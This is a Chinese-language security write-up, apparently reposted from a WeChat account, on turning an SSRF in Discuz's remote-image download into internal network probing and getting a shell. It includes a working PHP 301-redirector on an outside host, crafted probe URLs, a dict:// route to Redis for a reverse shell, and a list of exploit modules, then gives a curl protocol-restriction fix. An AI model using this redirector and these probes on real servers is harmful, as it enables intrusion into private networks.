漏洞影响
只要有一处SSRF(此处用Discuz代替),既有可能造成GET SHELL,获取服务器所有权限。
Discuz的一处SSRF
Discuz代码中存在一处远程下载图片的action
source/module/forum/forum_ajax.php
if(preg_match('/^(http://|.)/i', $imageurl)) { $content = dfsockopen($imageurl); } elseif(preg_match('/^('.preg_quote(getglobal('setting/attachurl'), '/').')/i', $imageurl)) { $imagereplace['newimageurl'][] = $value[0]; }
如果$imageurl是http开头的,则使用dfsockopen远程访问该链接的图片。
那么就可以通过301跳转到一个内网服务上,用来探测内网信息。
构造探测图片
通过构造一个远程的伪图片
http://ttt.sssie.com/301.php
301.php
<?php $ip = $_GET['ip']; $port = $_GET['port']; $scheme = $_GET['s']; $data = $_GET['data']; header("Location: $scheme://$ip:$port/$data"); ?>
构造一个跳转到dict://10.11.2.220:80/helo.jpg
http://ttt.sssie.com/301.php?s=dict&ip=10.11.2.220&port=80&data=helo.jpg
我们让其301到一个内网ip的80端口,然后根据整个请求完成的时间不同来判定该服务是否存在,构造链接如下
http://bbs.xxx.com/forum.php?mod=ajax&action=downremoteimg&message=
http://bbs.xxx.com/forum.php?mod=ajax&action=downremoteimg&message=
上面链接请求10.11.2.220的80服务只需要100ms,10.11.2.221不存在80服务,返回使用了6s
GETSHELL
除了能探测80服务,我们还可以通过dict协议来探测内网匿名redis服务以及写redis拿到反弹shell dict://10.11.2.220:6379
探测FTP ftp://10.11.2.220:21
其它服务利用方式
redis.py jboss.py shellshock.py axis2.py jdwp.py smtp.py confluence.py jenkins.py struts.py couchdb.py mongodb.py tftp.py docker.py phpcgi.py tomcat.py elasticsearch.py pop.py webdav.py ftp.py portscan.py websphere.py gopher.py pstack.py zentaopms.py hfs.py
解决方案
大部分请求外部资源底层都是基于curl,curl默认支持dict file ftp ftps gopher http https imap imaps pop3 pop3s rtsp smb smbs smtp smtps telnet tftp这些协议
$ curl -V curl 7.47.1 (x86_64-apple-darwin15.3.0) libcurl/7.47.1 OpenSSL/1.0.2g zlib/1.2.8 Protocols: dict file ftp ftps gopher http https imap imaps pop3 pop3s rtsp smb smbs smtp smtps telnet tftp Features: IPv6 Largefile NTLM NTLM_WB SSL libz TLS-SRP UnixSockets
所以只需要通过配置curl禁止使用除http/https以外其它协议即可解决该问题
source/function/function_filesock.php
在_dfsockopen方法内增加
curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
验证修复
在一台内网服务器(10.11.2.220)上开启一个8080端口
python -m SimpleHTTPServer 8080
然后访问触发SSRF的地址
http://bbs.xxx.com/forum.php?mod=ajax&action=downremoteimg&message=
查看是否有请求的回显,没有则说明修复好了
本文始发于微信公众号(飓风网络安全):SSRF到GET SHELL
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论